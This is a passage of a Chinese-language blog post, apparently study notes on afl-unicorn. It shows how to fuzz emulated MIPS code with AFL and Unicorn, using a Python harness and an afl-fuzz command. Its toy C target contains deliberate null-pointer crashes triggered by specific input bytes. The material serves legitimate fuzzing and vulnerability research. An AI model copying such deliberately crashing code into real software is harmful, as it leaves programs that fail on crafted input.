libunicorn.so由 afl-unicorn 创建的独角兽引擎源代码。到目前为止,我只使用 Python 对此进行了测试,因此如果您对此进行了测试,请向存储库提供反馈和/或补丁。</p><p>请注意,构建 afl-unicorn 将在您的本地系统上编译并安装 Unicorn Engine v1.0.1 的补丁版本。在构建 afl-unicorn 之前,您必须卸载任何现有的 Unicorn 二进制文件。与现成的 AFL 一样,afl-unicorn 仅支持 Linux。我只在 Ubuntu 16.04 LTS 上测试过它,但它应该可以在任何能够同时运行 AFL 和 Unicorn 的操作系统上顺利运行。</p><h3 id="使用示例"><a href="#使用示例" class="headerlink" title="使用示例"></a>使用示例</h3><p><strong><em>注意:这与 repo 中包含的“简单示例”相同。请在您自己的系统上试用它以查看它的实际效果。该存储库包含 main() 的预构建 MIPS 二进制文件,在此处进行了演示。\</em></strong></p><p>首先,让我们看一下我们将进行模糊测试的代码。这只是一个人为设计的玩具示例,它很容易以几种不同的方式崩溃,但我已将其扩展到现实世界的用例中,并且它完全按预期工作。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/*</span></span><br><span class="line"><span class="comment"> * Sample target file to test afl-unicorn fuzzing capabilities.</span></span><br><span class="line"><span class="comment"> * This is a very trivial example that will crash pretty easily</span></span><br><span class="line"><span class="comment"> * in several different exciting ways. </span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> * Input is assumed to come from a buffer located at DATA_ADDRESS </span></span><br><span class="line"><span class="comment"> * (0x00300000), so make sure that your Unicorn emulation of this </span></span><br><span class="line"><span class="comment"> * puts user data there.</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> * Written by Nathan Voss <[email protected]></span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// Magic address where mutated data will be placed</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> DATA_ADDRESS 0x00300000</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">(<span class="keyword">void</span>)</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"><span class="keyword">unsigned</span> <span class="keyword">char</span>* data_buf = (<span class="keyword">unsigned</span> <span class="keyword">char</span>*)DATA_ADDRESS;</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>(data_buf[<span class="number">20</span>] != <span class="number">0</span>)</span><br><span class="line">{</span><br><span class="line"><span class="comment">// Cause an 'invalid read' crash if data[0..3] == '\x01\x02\x03\x04'</span></span><br><span class="line"><span class="keyword">unsigned</span> <span class="keyword">char</span> invalid_read = *(<span class="keyword">unsigned</span> <span class="keyword">char</span>*)<span class="number">0x00000000</span>;</span><br><span class="line">}</span><br><span class="line"><span class="keyword">else</span> <span class="keyword">if</span>(data_buf[<span class="number">0</span>] > <span class="number">0x10</span> && data_buf[<span class="number">0</span>] < <span class="number">0x20</span> && data_buf[<span class="number">1</span>] > data_buf[<span class="number">2</span>])</span><br><span class="line">{</span><br><span class="line"><span class="comment">// Cause an 'invalid read' crash if (0x10 < data[0] < 0x20) and data[1] > data[2]</span></span><br><span class="line"><span class="keyword">unsigned</span> <span class="keyword">char</span> invalid_read = *(<span class="keyword">unsigned</span> <span class="keyword">char</span>*)<span class="number">0x00000000</span>;</span><br><span class="line">}</span><br><span class="line"><span class="keyword">else</span> <span class="keyword">if</span>(data_buf[<span class="number">9</span>] == <span class="number">0x00</span> && data_buf[<span class="number">10</span>] != <span class="number">0x00</span> && data_buf[<span class="number">11</span>] == <span class="number">0x00</span>)</span><br><span class="line">{</span><br><span class="line"><span class="comment">// Cause a crash if data[10] is not zero, but [9] and [11] are zero</span></span><br><span class="line"><span class="keyword">unsigned</span> <span class="keyword">char</span> invalid_read = *(<span class="keyword">unsigned</span> <span class="keyword">char</span>*)<span class="number">0x00000000</span>;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>请注意,这段代码本身完全是伪造的。它假定“data_buf”的数据神奇地位于地址 0x00300000。虽然这看起来很奇怪,但这类似于许多解析函数,它们假设它们将在固定地址的缓冲区中找到数据。</p><p>在现实世界中,您需要对目标二进制文件进行逆向工程,以查找和识别您想要模拟和模糊测试的确切功能。在即将发布的博客文章中,我将介绍一些工具来简化进程状态的提取和加载,但现在您需要完成在 Unicorn 中启动和运行所有必需组件的基本工作。</p><p>您的测试工具必须通过命令行上指定的文件接受输入以进行变异。这是允许 AFL 通过其正常界面改变输入的粘合剂。如果测试工具在仿真期间检测到崩溃情况,例如如果 emu_start() 抛出异常,则它还必须强制自身崩溃。下面是执行这两项操作的示例测试工具:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br></pre></td><td class="code"><pre><span class="line"><span class="string">""" </span></span><br><span class="line"><span class="string"> Simple test harness for AFL's Unicorn Mode.</span></span><br><span class="line"><span class="string"> This loads the simple_target.bin binary (precompiled as MIPS code) into</span></span><br><span class="line"><span class="string"> Unicorn's memory map for emulation, places the specified input into</span></span><br><span class="line"><span class="string"> simple_target's buffer (hardcoded to be at 0x300000), and executes 'main()'.</span></span><br><span class="line"><span class="string"> If any crashes occur during emulation, this script throws a matching signal</span></span><br><span class="line"><span class="string"> to tell AFL that a crash occurred.</span></span><br><span class="line"><span class="string"> Run under AFL as follows:</span></span><br><span class="line"><span class="string"> $ cd <afl_path>/unicorn_mode/samples/simple/</span></span><br><span class="line"><span class="string"> $ ../../../afl-fuzz -U -m none -i ./sample_inputs -o ./output -- python simple_test_harness.py @@ </span></span><br><span class="line"><span class="string">"""</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> argparse</span><br><span class="line"><span class="keyword">import</span> os</span><br><span class="line"><span class="keyword">import</span> signal</span><br><span class="line"></span><br><span class="line"><span class="keyword">from</span> unicorn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> unicorn.mips_const <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line"><span class="comment"># Path to the file containing the binary to emulate</span></span><br><span class="line">BINARY_FILE = os.path.join(os.path.dirname(os.path.abspath(__file__)), <span class="string">'simple_target.bin'</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment"># Memory map for the code to be tested</span></span><br><span class="line">CODE_ADDRESS = <span class="number">0x00100000</span> <span class="comment"># Arbitrary address where code to test will be loaded</span></span><br><span class="line">CODE_SIZE_MAX = <span class="number">0x00010000</span> <span class="comment"># Max size for the code (64kb)</span></span><br><span class="line">STACK_ADDRESS = <span class="number">0x00200000</span> <span class="comment"># Address of the stack (arbitrarily chosen)</span></span><br><span class="line">STACK_SIZE = <span class="number">0x00010000</span> <span class="comment"># Size of the stack (arbitrarily chosen)</span></span><br><span class="line">DATA_ADDRESS = <span class="number">0x00300000</span> <span class="comment"># Address where mutated data will be placed</span></span><br><span class="line">DATA_SIZE_MAX = <span class="number">0x00010000</span> <span class="comment"># Maximum allowable size of mutated data</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">try</span>:</span><br><span class="line"> <span class="comment"># If Capstone is installed then we'll dump disassembly, otherwise just dump the binary.</span></span><br><span class="line"> <span class="keyword">from</span> capstone <span class="keyword">import</span> *</span><br><span class="line"> cs = Cs(CS_ARCH_MIPS, CS_MODE_MIPS32 + CS_MODE_BIG_ENDIAN)</span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">unicorn_debug_instruction</span>(<span class="params">uc, address, size, user_data</span>):</span></span><br><span class="line"> mem = uc.mem_read(address, size)</span><br><span class="line"> <span class="keyword">for</span> (cs_address, cs_size, cs_mnemonic, cs_opstr) <span class="keyword">in</span> cs.disasm_lite(<span class="built_in">bytes</span>(mem), size):</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">" Instr: {:#016x}:\t{}\t{}"</span>.<span class="built_in">format</span>(address, cs_mnemonic, cs_opstr))</span><br><span class="line"><span class="keyword">except</span> ImportError:</span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">unicorn_debug_instruction</span>(<span class="params">uc, address, size, user_data</span>):</span></span><br><span class="line"> <span class="built_in">print</span>(<span class="string">" Instr: addr=0x{0:016x}, size=0x{1:016x}"</span>.<span class="built_in">format</span>(address, size)) </span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">unicorn_debug_block</span>(<span class="params">uc, address, size, user_data</span>):</span></span><br><span class="line"> <span class="built_in">print</span>(<span class="string">"Basic Block: addr=0x{0:016x}, size=0x{1:016x}"</span>.<span class="built_in">format</span>(address, size))</span><br><span class="line"> </span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">unicorn_debug_mem_access</span>(<span class="params">uc, access, address, size, value, user_data</span>):</span></span><br><span class="line"> <span class="keyword">if</span> access == UC_MEM_WRITE:</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">" >>> Write: addr=0x{0:016x} size={1} data=0x{2:016x}"</span>.<span class="built_in">format</span>(address, size, value))</span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">" >>> Read: addr=0x{0:016x} size={1}"</span>.<span class="built_in">format</span>(address, size)) </span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">unicorn_debug_mem_invalid_access</span>(<span class="params">uc, access, address, size, value, user_data</span>):</span></span><br><span class="line"> <span class="keyword">if</span> access == UC_MEM_WRITE_UNMAPPED:</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">" >>> INVALID Write: addr=0x{0:016x} size={1} data=0x{2:016x}"</span>.<span class="built_in">format</span>(address, size, value))</span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">" >>> INVALID Read: addr=0x{0:016x} size={1}"</span>.<span class="built_in">format</span>(address, size)) </span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">force_crash</span>(<span class="params">uc_error</span>):</span></span><br><span class="line"> <span class="comment"># This function should be called to indicate to AFL that a crash occurred during emulation.</span></span><br><span class="line"> <span class="comment"># Pass in the exception received from Uc.emu_start()</span></span><br><span class="line"> mem_errors = [</span><br><span class="line"> UC_ERR_READ_UNMAPPED, UC_ERR_READ_PROT, UC_ERR_READ_UNALIGNED,</span><br><span class="line"> UC_ERR_WRITE_UNMAPPED, UC_ERR_WRITE_PROT, UC_ERR_WRITE_UNALIGNED,</span><br><span class="line"> UC_ERR_FETCH_UNMAPPED, UC_ERR_FETCH_PROT, UC_ERR_FETCH_UNALIGNED,</span><br><span class="line"> ]</span><br><span class="line"> <span class="keyword">if</span> uc_error.errno <span class="keyword">in</span> mem_errors:</span><br><span class="line"> <span class="comment"># Memory error - throw SIGSEGV</span></span><br><span class="line"> os.kill(os.getpid(), signal.SIGSEGV)</span><br><span class="line"> <span class="keyword">elif</span> uc_error.errno == UC_ERR_INSN_INVALID:</span><br><span class="line"> <span class="comment"># Invalid instruction - throw SIGILL</span></span><br><span class="line"> os.kill(os.getpid(), signal.SIGILL)</span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> <span class="comment"># Not sure what happened - throw SIGABRT</span></span><br><span class="line"> os.kill(os.getpid(), signal.SIGABRT)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">main</span>():</span></span><br><span class="line"></span><br><span class="line"> parser = argparse.ArgumentParser(description=<span class="string">"Test harness for simple_target.bin"</span>)</span><br><span class="line"> parser.add_argument(<span class="string">'input_file'</span>, <span class="built_in">type</span>=<span class="built_in">str</span>, <span class="built_in">help</span>=<span class="string">"Path to the file containing the mutated input to load"</span>)</span><br><span class="line"> parser.add_argument(<span class="string">'-d'</span>, <span class="string">'--debug'</span>, default=<span class="literal">False</span>, action=<span class="string">"store_true"</span>, <span class="built_in">help</span>=<span class="string">"Enables debug tracing"</span>)</span><br><span class="line"> args = parser.parse_args()</span><br><span class="line"></span><br><span class="line"> <span class="comment"># Instantiate a MIPS32 big endian Unicorn Engine instance</span></span><br><span class="line"> uc = Uc(UC_ARCH_MIPS, UC_MODE_MIPS32 + UC_MODE_BIG_ENDIAN)</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> args.debug:</span><br><span class="line"> uc.hook_add(UC_HOOK_BLOCK, unicorn_debug_block)</span><br><span class="line"> uc.hook_add(UC_HOOK_CODE, unicorn_debug_instruction)</span><br><span class="line"> uc.hook_add(UC_HOOK_MEM_WRITE | UC_HOOK_MEM_READ, unicorn_debug_mem_access)</span><br><span class="line"> uc.hook_add(UC_HOOK_MEM_WRITE_UNMAPPED | UC_HOOK_MEM_READ_INVALID, unicorn_debug_mem_invalid_access)</span><br><span class="line"></span><br><span class="line"> <span class="comment">#---------------------------------------------------</span></span><br><span class="line"> <span class="comment"># Load the binary to emulate and map it into memory</span></span><br><span class="line"></span><br><span class="line"> <span class="built_in">print</span>(<span class="string">"Loading data input from {}"</span>.<span class="built_in">format</span>(args.input_file))</span><br><span class="line"> binary_file = <span class="built_in">open</span>(BINARY_FILE, <span class="string">'rb'</span>)</span><br><span class="line"> binary_code = binary_file.read()</span><br><span class="line"> binary_file.close()</span><br><span class="line"></span><br><span class="line"> <span class="comment"># Apply constraints to the mutated input</span></span><br><span class="line"> <span class="keyword">if</span> <span class="built_in">len</span>(binary_code) > CODE_SIZE_MAX:</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">"Binary code is too large (> {} bytes)"</span>.<span class="built_in">format</span>(CODE_SIZE_MAX))</span><br><span class="line"> <span class="keyword">return</span></span><br><span class="line"></span><br><span class="line"> <span class="comment"># Write the mutated command into the data buffer</span></span><br><span class="line"> uc.mem_map(CODE_ADDRESS, CODE_SIZE_MAX)</span><br><span class="line"> uc.mem_write(CODE_ADDRESS, binary_code)</span><br><span class="line"></span><br><span class="line"> <span class="comment"># Set the program counter to the start of the code</span></span><br><span class="line"> start_address = CODE_ADDRESS <span class="comment"># Address of entry point of main()</span></span><br><span class="line"> end_address = CODE_ADDRESS + <span class="number">0xf4</span> <span class="comment"># Address of last instruction in main()</span></span><br><span class="line"> uc.reg_write(UC_MIPS_REG_PC, start_address)</span><br><span class="line"></span><br><span class="line"> <span class="comment">#-----------------</span></span><br><span class="line"> <span class="comment"># Setup the stack</span></span><br><span class="line"></span><br><span class="line"> uc.mem_map(STACK_ADDRESS, STACK_SIZE)</span><br><span class="line"> uc.reg_write(UC_MIPS_REG_SP, STACK_ADDRESS + STACK_SIZE)</span><br><span class="line"></span><br><span class="line"> <span class="comment">#-----------------------------------------------------</span></span><br><span class="line"> <span class="comment"># Emulate 1 instruction to kick off AFL's fork server</span></span><br><span class="line"> <span class="comment"># THIS MUST BE DONE BEFORE LOADING USER DATA! </span></span><br><span class="line"> <span class="comment"># If this isn't done every single run, the AFL fork server </span></span><br><span class="line"> <span class="comment"># will not be started appropriately and you'll get erratic results!</span></span><br><span class="line"> <span class="comment"># It doesn't matter what this returns with, it just has to execute at</span></span><br><span class="line"> <span class="comment"># least one instruction in order to get the fork server started.</span></span><br><span class="line"></span><br><span class="line"> <span class="comment"># Execute 1 instruction just to startup the forkserver</span></span><br><span class="line"> <span class="built_in">print</span>(<span class="string">"Starting the AFL forkserver by executing 1 instruction"</span>)</span><br><span class="line"> <span class="keyword">try</span>:</span><br><span class="line"> uc.emu_start(uc.reg_read(UC_MIPS_REG_PC), <span class="number">0</span>, <span class="number">0</span>, count=<span class="number">1</span>)</span><br><span class="line"> <span class="keyword">except</span> UcError <span class="keyword">as</span> e:</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">"ERROR: Failed to execute a single instruction (error: {})!"</span>.<span class="built_in">format</span>(e))</span><br><span class="line"> <span class="keyword">return</span></span><br><span class="line"></span><br><span class="line"> <span class="comment">#-----------------------------------------------</span></span><br><span class="line"> <span class="comment"># Load the mutated input and map it into memory</span></span><br><span class="line"></span><br><span class="line"> <span class="comment"># Load the mutated input from disk</span></span><br><span class="line"> <span class="built_in">print</span>(<span class="string">"Loading data input from {}"</span>.<span class="built_in">format</span>(args.input_file))</span><br><span class="line"> input_file = <span class="built_in">open</span>(args.input_file, <span class="string">'rb'</span>)</span><br><span class="line"> <span class="built_in">input</span> = input_file.read()</span><br><span class="line"> input_file.close()</span><br><span class="line"></span><br><span class="line"> <span class="comment"># Apply constraints to the mutated input</span></span><br><span class="line"> <span class="keyword">if</span> <span class="built_in">len</span>(<span class="built_in">input</span>) > DATA_SIZE_MAX:</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">"Test input is too long (> {} bytes)"</span>.<span class="built_in">format</span>(DATA_SIZE_MAX))</span><br><span class="line"> <span class="keyword">return</span></span><br><span class="line"></span><br><span class="line"> <span class="comment"># Write the mutated command into the data buffer</span></span><br><span class="line"> uc.mem_map(DATA_ADDRESS, DATA_SIZE_MAX)</span><br><span class="line"> uc.mem_write(DATA_ADDRESS, <span class="built_in">input</span>)</span><br><span class="line"></span><br><span class="line"> <span class="comment">#------------------------------------------------------------</span></span><br><span class="line"> <span class="comment"># Emulate the code, allowing it to process the mutated input</span></span><br><span class="line"></span><br><span class="line"> <span class="built_in">print</span>(<span class="string">"Executing until a crash or execution reaches 0x{0:016x}"</span>.<span class="built_in">format</span>(end_address))</span><br><span class="line"> <span class="keyword">try</span>:</span><br><span class="line"> result = uc.emu_start(uc.reg_read(UC_MIPS_REG_PC), end_address, timeout=<span class="number">0</span>, count=<span class="number">0</span>)</span><br><span class="line"> <span class="keyword">except</span> UcError <span class="keyword">as</span> e:</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">"Execution failed with error: {}"</span>.<span class="built_in">format</span>(e))</span><br><span class="line"> force_crash(e)</span><br><span class="line"></span><br><span class="line"> <span class="built_in">print</span>(<span class="string">"Done."</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">"__main__"</span>:</span><br><span class="line"> main()</span><br></pre></td></tr></table></figure><p>创建一些测试输入并自行运行测试工具,以验证它是否按预期模拟代码(并崩溃)。</p><p>现在测试工具已经启动并运行,创建一些示例输入并在 afl-fuzz 下运行它,如下所示。确保添加“-U”参数以指定独角兽模式,我建议将内存限制参数(“-m”)设置为“无”,因为运行独角兽脚本会占用相当多的内存。遵循正常的 AFL 约定,将包含要模糊测试的文件路径的参数替换为“@@”(有关更多信息,请参阅 AFL 的自述文件)</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">afl-fuzz -U -m none -i /path/to/sample/inputs -o /path/to/results </span><br><span class="line"> -- python simple_test_harness.py @@</span><br></pre></td></tr></table></figure><p>如果一切按计划进行,AFL 将启动并很快发现一些崩溃。</p><p><img src="/2023/01/07/AFL-Unicorn%E6%A8%A1%E5%BC%8F%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/1nju41ImcIfatUzDGjEdqbA.png" class="lazyload placeholder" data-srcset="/2023/01/07/AFL-Unicorn%E6%A8%A1%E5%BC%8F%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/1nju41ImcIfatUzDGjEdqbA.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="img"></p><p>然后,您可以通过测试工具手动运行崩溃输入(位于 results/crashes/ 目录中),以详细了解它们崩溃的原因。我建议保留您的 Unicorn 测试工具的第二个副本,并根据需要进行修改以调试仿真中的崩溃。<a href="http://www.capstone-engine.org/">例如,您可以打开指令跟踪、使用Capstone</a>一路反汇编、在关键点转储寄存器等。</p><p>一旦你认为你有一个有效的崩溃,你就需要找出一种方法将它传递给仿真之外的实际程序,并验证崩溃是否在物理系统上起作用。</p><p>值得注意的是,整体模糊测试速度和性能将在很大程度上取决于您的测试工具的速度。一个大型的、复杂的基于 Python 的测试工具将比一个紧凑的、优化的基于 C 的测试工具运行得慢得多。如果您计划运行广泛的、长时间运行的模糊器,请务必考虑这一点。作为粗略的参考,我发现基于 C 的线束每秒执行次数比类似的 Python 线束多 5-10 倍。</p><h2 id="Unicorn-Mode详述"><a href="#Unicorn-Mode详述" class="headerlink" title="Unicorn Mode详述"></a>Unicorn Mode详述</h2><p><a href="https://medium.com/@njvoss299/afl-unicorn-fuzzing-arbitrary-binary-code-563ca28936bf?ref=hackernoon.com">在我之前的文章</a>中展示的独角兽模式在表面上并不过分有用。它有很多限制,使得它在大多数现实世界的情况下使用起来笨拙且缓慢。例如,如果您要模拟的二进制文件调用一个可能调用内核的导入库函数(例如<em>malloc()</em>或<em>printf() )</em>怎么办?如果您想要模糊测试的代码是高度有状态的,并且需要大量直到运行时才知道的内存区域(堆分配、堆栈指针、全局变量等)怎么办?事实上,我发现它唯一直接的用途是使用调试器从固件中恢复的平面嵌入式运行时系统内存快照。</p><p>本文介绍了我和我的同事<a href="https://medium.com/@pwiksell?ref=hackernoon.com">Parker Wiksell</a>为将 afl-unicorn 应用于 Windows、Linux、Android 和 iOS 应用程序而开发的一些新工具和技术。</p><p><img src="imageurl=https%3A%2F%2Fcdn.hackernoon.com%2Fhn-images%2F1HO32vRAAO_xOhTHYQ9aYWQ.webp" class="lazyload placeholder" data-srcset="imageurl=https%3A%2F%2Fcdn.hackernoon.com%2Fhn-images%2F1HO32vRAAO_xOhTHYQ9aYWQ.webp" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="图片"></p><p>虽然没有什么比手动静态和动态分析更彻底和适用的了,但 afl-unicorn 可以让您进行一些逆向工程,以在通常无法使用的地方获得 AFL 的所有好处。</p><p>Afl-unicorn 弥合了完全手动研究(即阅读反汇编/源代码)的彻底性和 AFL 无与伦比的易用性之间的差距。通过一些逆向工程和设置时间,afl-unicorn 可以让您利用 AFL 的强大功能快速发现您已知可疑的代码部分中的漏洞,并基本了解它们的作用。</p><p>也许你会问自己,“如果我需要做一堆逆向工程,我为什么还要花时间让 afl-unicorn 启动并运行”?就我而言,这是一个简单的决定:我认为自己是一个相当不错的逆向工程师,但我不相信自己有能力发现我正在逆向的代码中的所有漏洞。我发现自己在过去遗漏了越界内存访问、整数溢出等问题,因此我宁愿依靠 AFL 的变异引擎来为我寻找错误。此外,如果您要走手动分析的道路,无论如何您都将进行 RE 跑腿工作,因此花一两天时间启动 afl-unicorn,然后让它在后台运行,同时您不断筛选代码提供奖金,低成本保险。</p><h3 id="一般工作流程"><a href="#一般工作流程" class="headerlink" title="一般工作流程"></a>一般工作流程</h3><p>虽然最初的博客文章描述了 afl-unicorn 工作原理背后的基本机制并提供了一个玩具示例,但这篇文章旨在提供一种更真实的方式来针对在操作系统(例如 Windows、Linux)上运行的应用程序使用它、Android 或 iOS)。实际上,您真的很想了解 afl-unicorn 的作用并使其适应您的特定问题,以确保您不会得到(或知道如何识别)误报和漏报。</p><p><img src="imageurl=https%3A%2F%2Fcdn.hackernoon.com%2Fhn-images%2F1fLfHJM1yFGlFRr46I9jxlQ.png" class="lazyload placeholder" data-srcset="imageurl=https%3A%2F%2Fcdn.hackernoon.com%2Fhn-images%2F1fLfHJM1yFGlFRr46I9jxlQ.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="图片"></p><blockquote><p>标识要fuzz的代码的起始和终结位置->探究代码如何获取其输入->在fuzz开始地址设置一个断点->在断点处转储进程上下文->编写模拟代码的Unicorn脚本->创建有效的sample输入->在afl-unicorn下运行Unicorn脚本</p></blockquote><p>*创建与 afl-unicorn 一起使用的 Unicorn 脚本有一些特殊的细微差别。这些在下面更详细地描述。</p><p>第一项任务是对有关要模糊测试的代码的一些基本知识进行逆向工程。这包括确定一个好的起点和终点,以及该代码如何接收您要改变的输入。</p><p>假设您确定了网络数据包的顶级解析函数。该函数是否将数据包从线路中取出作为参数?它是如何传递到函数中的?最有可能的是,这将通过全局分配的缓冲区、堆栈上的指针或寄存器中的指针来实现。</p><p>您还需要弄清楚(尽您所能)输入有哪些限制。例如,最大尺寸是多少?是否有任何无效字符?确保在所选起始地址的上下文中考虑这一点,因为这些约束会随着时间的推移而改变,因为代码会在整个输入处理过程中过滤掉无效输入并分配各种大小的缓冲区。</p><p>完成所有研究后,您将希望在处理有效输入时捕获起始地址处的流程快照。我们通过创建一系列“Unicorn Context Dumper”脚本来实现这一点,当在起始地址的调试器断点处运行时,将整个进程内存、寄存器值和体系结构信息保存到“上下文目录”中磁盘。</p><p>现在您需要编写一个 Unicorn 脚本来加载您转储的进程上下文,加载输入以使用从磁盘文件读取的数据进行模糊处理,并模拟从开始地址到结束地址。如果在仿真过程中检测到任何错误或崩溃,此脚本必须强制自身崩溃,以便 AFL 能够检测到它。我们已经创建了一组我们称之为“Unicorn Loader”模块的辅助实用程序,它使大多数这些任务变得容易。“Unicorn Loader”还包括一个完整的替代堆管理器,可用于防止在模拟典型操作系统应用程序时发生的模拟错误……稍后会详细介绍。</p><p>一旦您的 Unicorn 测试工具脚本可以成功模拟从开始地址到结束地址(并执行上面提到的所有其他操作),就该创建一些有效的、不会崩溃的示例输入并按照 afl-unicorn 中的描述运行它<a 